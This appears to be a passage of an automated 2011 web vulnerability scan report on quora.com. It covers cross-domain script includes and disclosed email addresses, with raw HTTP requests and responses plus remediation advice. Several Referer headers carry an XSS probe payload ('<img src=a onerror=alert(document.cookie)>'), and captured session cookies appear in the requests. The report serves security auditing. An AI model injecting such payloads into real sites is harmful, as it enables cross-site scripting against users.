<a href="/Simon-Willison" routing="q://user/(47509)"><img class="profile_photo_img" src="http://d2o7bfz2il9cb7.cloudfront.net/main-thumb-47509-25-e3DEQqHORJ4m7pjJFNppvL4pPxtul2ei.jpeg" width="25" alt="Simon Willison" height="25" /></a>
...[SNIP]...
<a href="/Daniel-Miller-7" routing="q://user/(2067952)"><img class="profile_photo_img" src="http://d2o7bfz2il9cb7.cloudfront.net/main-thumb-2067952-25-HuTMgaE5AccZiI6t5FnXJGKNhVCkc3VL.jpeg" width="25" alt="Daniel Miller" height="25" /></a>
...[SNIP]...
<a href="/Manuel-Lemos" routing="q://user/(1702828)"><img class="profile_photo_img" src="http://d2o7bfz2il9cb7.cloudfront.net/main-thumb-1702828-25-GnJqUuuoc9XeATgWLbuuWPuDwkZmB9PX.jpeg" width="25" alt="Manuel Lemos" height="25" /></a>
...[SNIP]...
<a href="/Mike-Fratto" routing="q://user/(411370)"><img class="profile_photo_img" src="http://d2o7bfz2il9cb7.cloudfront.net/main-thumb-411370-25-3TEIHyygeGj1Ocoo7siH3fE6wnQs4Sow.jpeg" width="25" alt="Mike Fratto" height="25" /></a>
...[SNIP]...
<a href="/David-Molnar" routing="q://user/(1300)"><img class="profile_photo_img" src="http://d2o7bfz2il9cb7.cloudfront.net/main-thumb-1300-25-DfZoPkRjLA12vQKPpcdWjV5rfmKU6EV3.jpeg" width="25" alt="David Molnar" height="25" /></a>
...[SNIP]...
<a href="/Shu-Uesugi" routing="q://user/(5498)"><img class="profile_photo_img" src="http://d2o7bfz2il9cb7.cloudfront.net/main-thumb-5498-25-Xtbw3xOTpgeHJPQZqoEDT17MkqGgwnvj.jpeg" width="25" alt="Shu Uesugi" height="25" /></a>
...[SNIP]...
<a href="/Charles-Iliya-Krempeaux" routing="q://user/(11483)"><img class="profile_photo_img" src="http://d2o7bfz2il9cb7.cloudfront.net/main-thumb-11483-25-R6CCSzOp51B2kvSDu0EpKjjvA3HBQv83.jpeg" width="25" alt="Charles Iliya Krempeaux" height="25" /></a>
...[SNIP]...
<a href="/Myroslav-Opyr" routing="q://user/(16639)"><img class="profile_photo_img" src="http://d2o7bfz2il9cb7.cloudfront.net/main-thumb-16639-25-KJPtfNz10BjCcm9IOwCGbGubc6auWINV.jpeg" width="25" alt="Myroslav Opyr" height="25" /></a>
...[SNIP]...
<a href="/William-Chan-1" routing="q://user/(26302)"><img class="profile_photo_img" src="http://d2o7bfz2il9cb7.cloudfront.net/main-thumb-26302-25-GHaZOJnmANqPtiBfcB9Ik8hVJyxjHsaS.jpeg" width="25" alt="William Chan" height="25" /></a>
...[SNIP]...
<a href="/Petr-Nachtmann" routing="q://user/(26978)"><img class="profile_photo_img" src="http://d2o7bfz2il9cb7.cloudfront.net/main-thumb-26978-25-TliHl48YdENmQnVFWnUTMTsubA0qzzjE.jpeg" width="25" alt="Petr Nachtmann" height="25" /></a>
...[SNIP]...
<a href="/Sho-Tabata" routing="q://user/(29392)"><img class="profile_photo_img" src="http://d2o7bfz2il9cb7.cloudfront.net/main-thumb-29392-25-uXhst1M8kGte4zmex6EqNCehfCRFhxKF.jpeg" width="25" alt="Sho Tabata" height="25" /></a>
...[SNIP]...
<a href="/Joseph-Quattrocchi" routing="q://user/(30710)"><img class="profile_photo_img" src="http://d2o7bfz2il9cb7.cloudfront.net/main-thumb-30710-25-oJe1cCm7zIpFOL7ueXYQAJ98cqCUBHNb.jpeg" width="25" alt="Joseph Quattrocchi" height="25" /></a>
...[SNIP]...
<a href="/Scott-Ballantyne" routing="q://user/(34309)"><img class="profile_photo_img" src="http://d2o7bfz2il9cb7.cloudfront.net/main-thumb-34309-25-5gspY2ZQYpMSWWZLBkUd6cnWKKd9wZDQ.jpeg" width="25" alt="Scott Ballantyne" height="25" /></a>
...[SNIP]...
<a href="/Forest-Zhu" routing="q://user/(39427)"><img class="profile_photo_img" src="http://d2o7bfz2il9cb7.cloudfront.net/main-thumb-39427-25-QgNN2Fhjq5gbAgqoIbEggDG9bzRvRnKt.jpeg" width="25" alt="Forest Zhu" height="25" /></a>
...[SNIP]...
<a href="/Keso-Me" routing="q://user/(42371)"><img class="profile_photo_img" src="http://d2o7bfz2il9cb7.cloudfront.net/main-thumb-42371-25-VoODX7JQaJfMV5yO6TwEsnwpPLKhkDrQ.jpeg" width="25" alt="Keso Me" height="25" /></a>
...[SNIP]...
<a href="/ChaoJiao-Yang" routing="q://user/(43487)"><img class="profile_photo_img" src="http://d2o7bfz2il9cb7.cloudfront.net/main-thumb-43487-25-0dPiw5qF00UkDXxJIBWcxtugacgsS6pB.jpeg" width="25" alt="ChaoJiao Yang" height="25" /></a>
...[SNIP]...
<a href="/Spark-Zhang" routing="q://user/(43792)"><img class="profile_photo_img" src="http://d2o7bfz2il9cb7.cloudfront.net/main-thumb-43792-25-TqGfSNPLH9kgc7ucCgjrVFIN0fLTIQZF.jpeg" width="25" alt="Spark Zhang" height="25" /></a>
...[SNIP]...
<a href="/Rio-Jiang" routing="q://user/(43820)"><img class="profile_photo_img" src="http://d2o7bfz2il9cb7.cloudfront.net/main-thumb-43820-25-q1JtXBdLmMbvLRMvCwXzjHB1cvadWvDc.jpeg" width="25" alt="Rio Jiang" height="25" /></a>
...[SNIP]...
<a href="/Ian-MacLeod" routing="q://user/(43913)"><img class="profile_photo_img" src="http://d2o7bfz2il9cb7.cloudfront.net/main-thumb-43913-25-nMk0mFCOVPrfytB3VOg7Ln9VwFMbsEUb.jpeg" width="25" alt="Ian MacLeod" height="25" /></a>
...[SNIP]...
<a href="/Eddie-Wolfie" routing="q://user/(44145)"><img class="profile_photo_img" src="http://d2o7bfz2il9cb7.cloudfront.net/main-thumb-44145-25-FNYTgm7xx5IWsCjSDkjLiTRcdxch4nvg.jpeg" width="25" alt="Eddie Wolfie" height="25" /></a>
...[SNIP]...
<a href="/Liu-You" routing="q://user/(44702)"><img class="profile_photo_img" src="http://d1vgw4v7ja2ido.cloudfront.net/-78c17c872cca0888.png" width="25" alt="Liu You" height="25" /></a>
...[SNIP]...
<a href="/Ross-Di" routing="q://user/(44811)"><img class="profile_photo_img" src="http://d1vgw4v7ja2ido.cloudfront.net/-78c17c872cca0888.png" width="25" alt="Ross Di" height="25" /></a>
...[SNIP]...
<a href="/Leo-Wang-1" routing="q://user/(45677)"><img class="profile_photo_img" src="http://d2o7bfz2il9cb7.cloudfront.net/main-thumb-45677-25-F4VUrpyIeudnLed5vIYlACwTFf95pZ0E.jpeg" width="25" alt="Leo Wang" height="25" /></a>
...[SNIP]...
<a href="/Benjamin-Bai" routing="q://user/(45889)"><img class="profile_photo_img" src="http://d2o7bfz2il9cb7.cloudfront.net/main-thumb-45889-25-vhBpBA3D34M3J5HSIJumlADQEky4wRRs.jpeg" width="25" alt="Benjamin Bai" height="25" /></a>
...[SNIP]...
<a href="/Binhao-Shang" routing="q://user/(46548)"><img class="profile_photo_img" src="http://d2o7bfz2il9cb7.cloudfront.net/main-thumb-46548-25-bKurs0K0DHl9CI1CTuFJlX9tiSnq1yHH.jpeg" width="25" alt="Binhao Shang" height="25" /></a>
...[SNIP]...
<a href="/Guillaume-Theoret" routing="q://user/(46799)"><img class="profile_photo_img" src="http://d2o7bfz2il9cb7.cloudfront.net/main-thumb-46799-25-lznIOrakjB863FrSmzd1dzBSwcit2dcx.jpeg" width="25" alt="Guillaume Theoret" height="25" /></a>
...[SNIP]...
<a href="/Simon-Willison" routing="q://user/(47509)"><img class="profile_photo_img" src="http://d2o7bfz2il9cb7.cloudfront.net/main-thumb-47509-25-e3DEQqHORJ4m7pjJFNppvL4pPxtul2ei.jpeg" width="25" alt="Simon Willison" height="25" /></a>
...[SNIP]...
<a href="/Jyrki-Pulliainen" routing="q://user/(47527)"><img class="profile_photo_img" src="http://d2o7bfz2il9cb7.cloudfront.net/main-thumb-47527-25-x2wjcwBjCCTBjP7SyrLcovEc7VVlgcEb.jpeg" width="25" alt="Jyrki Pulliainen" height="25" /></a>
...[SNIP]...
<a href="/Yuji-Takabatake" routing="q://user/(50627)"><img class="profile_photo_img" src="http://d2o7bfz2il9cb7.cloudfront.net/main-thumb-50627-25-QHaJtycqWVNoa54E41xmWZ86Pt0ICHcv.jpeg" width="25" alt="Yuji Takabatake" height="25" /></a>
...[SNIP]...
<a href="/Tiago-Pregueiro" routing="q://user/(82180)"><img class="profile_photo_img" src="http://d2o7bfz2il9cb7.cloudfront.net/main-thumb-82180-25-ybKHYxHLuHafWb4c42qFvOBf6jS4jPxV.jpeg" width="25" alt="Tiago Pregueiro" height="25" /></a>
...[SNIP]...
<a href="/Doug-Winter-1" routing="q://user/(125005)"><img class="profile_photo_img" src="http://d2o7bfz2il9cb7.cloudfront.net/main-thumb-125005-25-TqKcqiDcpWwxSMoRQz2b6O09YInA39W6.jpeg" width="25" alt="Doug Winter" height="25" /></a>
...[SNIP]...
<a href="/Teddy-Zetterlund" routing="q://user/(142266)"><img class="profile_photo_img" src="http://d2o7bfz2il9cb7.cloudfront.net/main-thumb-142266-25-FVYjeFNhccCt2SR5zUR2C8CKGBjWHf3G.jpeg" width="25" alt="Teddy Zetterlund" height="25" /></a>
...[SNIP]...
<a href="/Tinus-Guichelaar" routing="q://user/(148210)"><img class="profile_photo_img" src="http://d2o7bfz2il9cb7.cloudfront.net/main-thumb-148210-25-ae56YMvcONFo2wI8QKC1ApJK4vS4bFGY.jpeg" width="25" alt="Tinus Guichelaar" height="25" /></a>
...[SNIP]...
<a href="/Vickrum-Loi" routing="q://user/(148365)"><img class="profile_photo_img" src="http://d2o7bfz2il9cb7.cloudfront.net/main-thumb-148365-25-4Lm8eZYQxwjjm0Ph7KArIPIOjZgMGT6L.jpeg" width="25" alt="Vickrum Loi" height="25" /></a>
...[SNIP]...
<a href="/Mathias-Karlsson" routing="q://user/(167251)"><img class="profile_photo_img" src="http://d2o7bfz2il9cb7.cloudfront.net/main-thumb-167251-25-YBfI83BhqZXNGsxjtXFi0jo0qcAaMNMF.jpeg" width="25" alt="Mathias Karlsson" height="25" /></a>
...[SNIP]...
<a href="/Jianfeng-Lu" routing="q://user/(260780)"><img class="profile_photo_img" src="http://d2o7bfz2il9cb7.cloudfront.net/main-thumb-260780-25-aIMXq5wv30XPIA792p9wopu9sluAmG2G.jpeg" width="25" alt="Jianfeng Lu" height="25" /></a>
...[SNIP]...
<a href="/Yoz-Grahame" routing="q://user/(267402)"><img class="profile_photo_img" src="http://d2o7bfz2il9cb7.cloudfront.net/main-thumb-267402-25-E9OKP3i27pn3sedhmYH4YFw9ZwcD1Db9.jpeg" width="25" alt="Yoz Grahame" height="25" /></a>
...[SNIP]...
<a href="/Danny-Glix" routing="q://user/(280473)"><img class="profile_photo_img" src="http://d2o7bfz2il9cb7.cloudfront.net/main-thumb-280473-25-Z7LqV68xyX4PBAT0m1lgSejzeOOXQFBr.jpeg" width="25" alt="Danny Glix" height="25" /></a>
...[SNIP]...
<a href="/Konrad-Markus" routing="q://user/(332965)"><img class="profile_photo_img" src="http://d2o7bfz2il9cb7.cloudfront.net/main-thumb-332965-25-BitkAY9v8gumeO1xx1MLN6gx0DxeO4FI.jpeg" width="25" alt="Konrad Markus" height="25" /></a>
...[SNIP]...
</div><script type='text/javascript' src='http://d1zlmuwse3cba4.cloudfront.net/-98d0f5abf19f4c11.js'></script><script type='text/javascript' src='http://maps.googleapis.com/maps/api/js?sensor=false&libraries=places'></script>
...[SNIP]...

5. Cross-domain script include  previous  next
There are 8 instances of this issue:

Issue background

When an application includes a script from an external domain, this script is executed by the browser within the security context of the invoking application. The script can therefore do anything that the application's own scripts can do, such as accessing application data and performing actions within the context of the current user.

If you include a script from an external domain, then you are trusting that domain with the data and functionality of your application, and you are trusting the domain's own security to prevent an attacker from modifying the script to perform malicious actions within your application.

Issue remediation

Scripts should not be included from untrusted domains. If you have a requirement which a third-party script appears to fulfil, then you should ideally copy the contents of that script onto your own domain and include it from there. If that is not possible (e.g. for licensing reasons) then you should consider reimplementing the script's functionality within your own code.


5.1. http://www.quora.com/  previous  next

Summary

Severity:   Information
Confidence:   Certain
Host:   http://www.quora.com
Path:   /

Issue detail

The response dynamically includes the following scripts from other domains:

Request

GET / HTTP/1.1
Host: www.quora.com
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20110504 Namoroka/3.6.13
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Proxy-Connection: keep-alive

Response

HTTP/1.1 200 OK
Server: PasteWSGIServer/0.5 Python/2.7.2
Date: Fri, 14 Oct 2011 12:00:38 GMT
Content-Type: text/html; charset=utf-8
Cache-Control: private, no-store, max-age=0, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Expires: Fri, 01 Jan 1990 00:00:00 GMT
Content-Length: 19452

<!DOCTYPE html><html><head><title>Quora</title><script>
this.require||function(a,b,c){function q(){if(!i)try{while(g!==h&&p(g.next))i=g,g=g.next,g(g.require)}finally{i=0}}function require(a){if(!f[a])
...[SNIP]...
</script>
<script src="http://d1zlmuwse3cba4.cloudfront.net/-ba0e967719141bc7.js"></script>
...[SNIP]...
</div><script type='text/javascript' src='http://d1zlmuwse3cba4.cloudfront.net/-98d0f5abf19f4c11.js'></script>
...[SNIP]...

5.2. http://www.quora.com/%22http://d1vgw4v7ja2ido.cloudfront.net/-78c17c872cca0888.png/%22  previous  next

Summary

Severity:   Information
Confidence:   Certain
Host:   http://www.quora.com
Path:   /%22http://d1vgw4v7ja2ido.cloudfront.net/-78c17c872cca0888.png/%22

Issue detail

The response dynamically includes the following scripts from other domains:

Request

GET /%22http://d1vgw4v7ja2ido.cloudfront.net/-78c17c872cca0888.png/%22 HTTP/1.1
Host: www.quora.com
Proxy-Connection: keep-alive
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/14.0.835.202 Safari/535.1
Accept: */*
Referer: http://www.quora.com/XSS?q=xss+111+222+3345002%3C/ScRiPt%20%3E%3Cimg%20src%3da%20onerror%3dalert(document.cookie)%3E9d29a858adc
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3

Response

HTTP/1.1 200 OK
Server: PasteWSGIServer/0.5 Python/2.7.2
Date: Fri, 14 Oct 2011 12:09:39 GMT
Content-Type: text/html; charset=utf-8
Cache-Control: private, no-store, max-age=0, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Expires: Fri, 01 Jan 1990 00:00:00 GMT
Content-Length: 16268

<!DOCTYPE html><html><head><title>Error 404 - Quora</title><script>
this.require||function(a,b,c){function q(){if(!i)try{while(g!==h&&p(g.next))i=g,g=g.next,g(g.require)}finally{i=0}}function require(
...[SNIP]...
</script>
<script src="http://d1zlmuwse3cba4.cloudfront.net/-ba0e967719141bc7.js"></script>
...[SNIP]...
</div><script type='text/javascript' src='http://d1zlmuwse3cba4.cloudfront.net/-98d0f5abf19f4c11.js'></script>
...[SNIP]...

5.3. http://www.quora.com/%5C%22http://d1vgw4v7ja2ido.cloudfront.net/-78c17c872cca0888.png%5C%22  previous  next

Summary

Severity:   Information
Confidence:   Certain
Host:   http://www.quora.com
Path:   /%5C%22http://d1vgw4v7ja2ido.cloudfront.net/-78c17c872cca0888.png%5C%22

Issue detail

The response dynamically includes the following scripts from other domains:

Request

GET /%5C%22http://d1vgw4v7ja2ido.cloudfront.net/-78c17c872cca0888.png%5C%22 HTTP/1.1
Host: www.quora.com
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20110504 Namoroka/3.6.13
Accept: image/png,image/*;q=0.8,*/*;q=0.5
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Proxy-Connection: keep-alive
Referer: http://www.quora.com/XSS?q=xss+111+222+3345002%3C/ScRiPt%20%3E%3Cimg%20src%3da%20onerror%3dalert(document.cookie)%3E9d29a858adc
Cookie: m-b=j564Qu5GUoDxPWJ792vJsw==; m-s=VlplhYUqVWntoS33kQHYLw==; m-tz=300; __utma=261736717.1380011670.1318593668.1318593668.1318593668.1; __utmb=261736717.6.10.1318593668; __utmc=261736717; __utmz=261736717.1318593668.1.1.utmcsr=fakereferrerdominator.com|utmccn=(referral)|utmcmd=referral|utmcct=/referrerPathName

Response

HTTP/1.1 200 OK
Server: PasteWSGIServer/0.5 Python/2.7.2
Date: Fri, 14 Oct 2011 12:06:00 GMT
Content-Type: text/html; charset=utf-8
Cache-Control: private, no-store, max-age=0, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Expires: Fri, 01 Jan 1990 00:00:00 GMT
Content-Length: 16133

<!DOCTYPE html><html><head><title>Error 404 - Quora</title><script>
this.require||function(a,b,c){function q(){if(!i)try{while(g!==h&&p(g.next))i=g,g=g.next,g(g.require)}finally{i=0}}function require(
...[SNIP]...
</script>
<script src="http://d1zlmuwse3cba4.cloudfront.net/-ba0e967719141bc7.js"></script>
...[SNIP]...
</div><script type='text/javascript' src='http://d1zlmuwse3cba4.cloudfront.net/-98d0f5abf19f4c11.js'></script>
...[SNIP]...

5.4. http://www.quora.com/What-are-the-best-practices-to-avoid-XSS-and-SQL-Injections-attacks-platform-agnostics  previous  next

Summary

Severity:   Information
Confidence:   Certain
Host:   http://www.quora.com
Path:   /What-are-the-best-practices-to-avoid-XSS-and-SQL-Injections-attacks-platform-agnostics

Issue detail

The response dynamically includes the following scripts from other domains:

Request

GET /What-are-the-best-practices-to-avoid-XSS-and-SQL-Injections-attacks-platform-agnostics HTTP/1.1
Host: www.quora.com
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20110504 Namoroka/3.6.13
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Proxy-Connection: keep-alive
Referer: http://www.quora.com/XSS?q=xss+111+222+33
Cookie: m-b=j564Qu5GUoDxPWJ792vJsw==; m-s=VlplhYUqVWntoS33kQHYLw==; m-tz=300; __utma=261736717.1380011670.1318593668.1318593668.1318593668.1; __utmb=261736717.4.10.1318593668; __utmc=261736717; __utmz=261736717.1318593668.1.1.utmcsr=fakereferrerdominator.com|utmccn=(referral)|utmcmd=referral|utmcct=/referrerPathName

Response

HTTP/1.1 200 OK
Server: PasteWSGIServer/0.5 Python/2.7.2
Date: Fri, 14 Oct 2011 12:02:24 GMT
Content-Type: text/html; charset=utf-8
Cache-Control: private, no-store, max-age=0, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Expires: Fri, 01 Jan 1990 00:00:00 GMT
Content-Length: 102814

<!DOCTYPE html><html><head><title>What are the best practices to avoid XSS and SQL Injections attacks (platform agnostics)? - Quora</title><script>
this.require||function(a,b,c){function q(){if(!i)try
...[SNIP]...
</script>
<script src="http://d1zlmuwse3cba4.cloudfront.net/-ba0e967719141bc7.js"></script>
...[SNIP]...
</div><script type='text/javascript' src='http://d1zlmuwse3cba4.cloudfront.net/-98d0f5abf19f4c11.js'></script>
...[SNIP]...

5.5. http://www.quora.com/XSS  previous  next

Summary

Severity:   Information
Confidence:   Certain
Host:   http://www.quora.com
Path:   /XSS

Issue detail

The response dynamically includes the following scripts from other domains:

Request

GET /XSS?q=xss+111+222+33 HTTP/1.1
Host: www.quora.com
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20110504 Namoroka/3.6.13
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Proxy-Connection: keep-alive
Referer: http://www.quora.com/challenges
Cookie: m-b=j564Qu5GUoDxPWJ792vJsw==; m-s=VlplhYUqVWntoS33kQHYLw==; m-tz=300; __utma=261736717.1380011670.1318593668.1318593668.1318593668.1; __utmb=261736717.3.10.1318593668; __utmc=261736717; __utmz=261736717.1318593668.1.1.utmcsr=fakereferrerdominator.com|utmccn=(referral)|utmcmd=referral|utmcct=/referrerPathName

Response

HTTP/1.1 200 OK
Server: PasteWSGIServer/0.5 Python/2.7.2
Date: Fri, 14 Oct 2011 12:02:12 GMT
Content-Type: text/html; charset=utf-8
Cache-Control: private, no-store, max-age=0, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Expires: Fri, 01 Jan 1990 00:00:00 GMT
Content-Length: 404539

<!DOCTYPE html><html><head><title>XSS - Quora</title><script>
this.require||function(a,b,c){function q(){if(!i)try{while(g!==h&&p(g.next))i=g,g=g.next,g(g.require)}finally{i=0}}function require(a){if(
...[SNIP]...
</script>
<script src="http://d1zlmuwse3cba4.cloudfront.net/-ba0e967719141bc7.js"></script>
...[SNIP]...
</div><script type='text/javascript' src='http://d1zlmuwse3cba4.cloudfront.net/-98d0f5abf19f4c11.js'></script><script type='text/javascript' src='http://maps.googleapis.com/maps/api/js?sensor=false&libraries=places'></script>
...[SNIP]...

5.6. http://www.quora.com/about  previous  next

Summary

Severity:   Information
Confidence:   Certain
Host:   http://www.quora.com
Path:   /about

Issue detail

The response dynamically includes the following scripts from other domains:

Request

GET /about HTTP/1.1
Host: www.quora.com
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20110504 Namoroka/3.6.13
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Proxy-Connection: keep-alive
Referer: http://www.quora.com/
Cookie: m-b=j564Qu5GUoDxPWJ792vJsw==; m-s=VlplhYUqVWntoS33kQHYLw==; m-tz=300; __utma=261736717.1380011670.1318593668.1318593668.1318593668.1; __utmb=261736717.1.10.1318593668; __utmc=261736717; __utmz=261736717.1318593668.1.1.utmcsr=fakereferrerdominator.com|utmccn=(referral)|utmcmd=referral|utmcct=/referrerPathName

Response

HTTP/1.1 200 OK
Server: PasteWSGIServer/0.5 Python/2.7.2
Date: Fri, 14 Oct 2011 12:00:53 GMT
Content-Type: text/html; charset=utf-8
Cache-Control: private, no-store, max-age=0, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Expires: Fri, 01 Jan 1990 00:00:00 GMT
Content-Length: 17916

<!DOCTYPE html><html><head><title>About Quora - Quora</title><script>
this.require||function(a,b,c){function q(){if(!i)try{while(g!==h&&p(g.next))i=g,g=g.next,g(g.require)}finally{i=0}}function requir
...[SNIP]...
</script>
<script src="http://d1zlmuwse3cba4.cloudfront.net/-ba0e967719141bc7.js"></script>
...[SNIP]...
</div><script type='text/javascript' src='http://d1zlmuwse3cba4.cloudfront.net/-98d0f5abf19f4c11.js'></script>
...[SNIP]...

5.7. http://www.quora.com/challenges  previous  next

Summary

Severity:   Information
Confidence:   Certain
Host:   http://www.quora.com
Path:   /challenges

Issue detail

The response dynamically includes the following scripts from other domains:

Request

GET /challenges HTTP/1.1
Host: www.quora.com
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20110504 Namoroka/3.6.13
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Proxy-Connection: keep-alive
Referer: http://www.quora.com/about
Cookie: m-b=j564Qu5GUoDxPWJ792vJsw==; m-s=VlplhYUqVWntoS33kQHYLw==; m-tz=300; __utma=261736717.1380011670.1318593668.1318593668.1318593668.1; __utmb=261736717.2.10.1318593668; __utmc=261736717; __utmz=261736717.1318593668.1.1.utmcsr=fakereferrerdominator.com|utmccn=(referral)|utmcmd=referral|utmcct=/referrerPathName

Response

HTTP/1.1 200 OK
Server: PasteWSGIServer/0.5 Python/2.7.2
Date: Fri, 14 Oct 2011 12:01:50 GMT
Content-Type: text/html; charset=utf-8
Cache-Control: private, no-store, max-age=0, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Expires: Fri, 01 Jan 1990 00:00:00 GMT
Content-Length: 18063

<!DOCTYPE html><html><head><title>Programming Challenges - Quora</title><script>
this.require||function(a,b,c){function q(){if(!i)try{while(g!==h&&p(g.next))i=g,g=g.next,g(g.require)}finally{i=0}}func
...[SNIP]...
</script>
<script src="http://d1zlmuwse3cba4.cloudfront.net/-ba0e967719141bc7.js"></script>
...[SNIP]...
</div><script type='text/javascript' src='http://d1zlmuwse3cba4.cloudfront.net/-98d0f5abf19f4c11.js'></script>
...[SNIP]...

5.8. http://www.quora.com/t-15171  previous

Summary

Severity:   Information
Confidence:   Certain
Host:   http://www.quora.com
Path:   /t-15171

Issue detail

The response dynamically includes the following scripts from other domains:

Request

GET /t-15171 HTTP/1.1
Host: www.quora.com
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20110504 Namoroka/3.6.13
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Proxy-Connection: keep-alive
Referer: http://www.quora.com/XSS?q=xss+111+222+3345002%3C/ScRiPt%20%3E%3Cimg%20src%3da%20onerror%3dalert(1)%3E9d29a858adc
Cookie: m-b=j564Qu5GUoDxPWJ792vJsw==; m-s=VlplhYUqVWntoS33kQHYLw==; m-tz=300; __utma=261736717.1380011670.1318593668.1318593668.1318593668.1; __utmb=261736717.6.10.1318593668; __utmc=261736717; __utmz=261736717.1318593668.1.1.utmcsr=fakereferrerdominator.com|utmccn=(referral)|utmcmd=referral|utmcct=/referrerPathName

Response

HTTP/1.1 200 OK
Server: PasteWSGIServer/0.5 Python/2.7.2
Date: Fri, 14 Oct 2011 12:05:31 GMT
Content-Type: text/html; charset=utf-8
Cache-Control: private, no-store, max-age=0, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Expires: Fri, 01 Jan 1990 00:00:00 GMT
Content-Length: 460410

<!DOCTYPE html><html><head><title>/ - Quora</title><script>
this.require||function(a,b,c){function q(){if(!i)try{while(g!==h&&p(g.next))i=g,g=g.next,g(g.require)}finally{i=0}}function require(a){if(!f
...[SNIP]...
</script>
<script src="http://d1zlmuwse3cba4.cloudfront.net/-ba0e967719141bc7.js"></script>
...[SNIP]...
</div><script type='text/javascript' src='http://d1zlmuwse3cba4.cloudfront.net/-98d0f5abf19f4c11.js'></script><script type='text/javascript' src='http://maps.googleapis.com/maps/api/js?sensor=false&libraries=places'></script>
...[SNIP]...

6. Email addresses disclosed  previous

Summary

Severity:   Information
Confidence:   Certain
Host:   http://www.quora.com
Path:   /challenges

Issue detail

The following email address was disclosed in the response:

Issue background

The presence of email addresses within application responses does not necessarily constitute a security vulnerability. Email addresses may appear intentionally within contact information, and many applications (such as web mail) include arbitrary third-party email addresses within their core content.

However, email addresses of developers and other individuals (whether appearing on-screen or hidden within page source) may disclose information that is useful to an attacker; for example, they may represent usernames that can be used at the application's login, and they may be used in social engineering attacks against the organisation's personnel. Unnecessary or excessive disclosure of email addresses may also lead to an increase in the volume of spam email received.

Issue remediation

You should review the email addresses being disclosed by the application, and consider removing any that are unnecessary, or replacing personal addresses with anonymous mailbox addresses (such as helpdesk@example.com).

Request

GET /challenges HTTP/1.1
Host: www.quora.com
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20110504 Namoroka/3.6.13
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Proxy-Connection: keep-alive
Referer: http://www.quora.com/about
Cookie: m-b=j564Qu5GUoDxPWJ792vJsw==; m-s=VlplhYUqVWntoS33kQHYLw==; m-tz=300; __utma=261736717.1380011670.1318593668.1318593668.1318593668.1; __utmb=261736717.2.10.1318593668; __utmc=261736717; __utmz=261736717.1318593668.1.1.utmcsr=fakereferrerdominator.com|utmccn=(referral)|utmcmd=referral|utmcct=/referrerPathName

Response

HTTP/1.1 200 OK
Server: PasteWSGIServer/0.5 Python/2.7.2
Date: Fri, 14 Oct 2011 12:01:50 GMT
Content-Type: text/html; charset=utf-8
Cache-Control: private, no-store, max-age=0, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Expires: Fri, 01 Jan 1990 00:00:00 GMT
Content-Length: 18063

<!DOCTYPE html><html><head><title>Programming Challenges - Quora</title><script>
this.require||function(a,b,c){function q(){if(!i)try{while(g!==h&&p(g.next))i=g,g=g.next,g(g.require)}finally{i=0}}func
...[SNIP]...
<a href="mailto:jobs@quora.com">jobs@quora.com</a>
...[SNIP]...
<a href="mailto:jobs@quora.com">jobs@quora.com</a>
...[SNIP]...

Report generated by XSS.CX at Fri Oct 14 07:11:17 CDT 2011.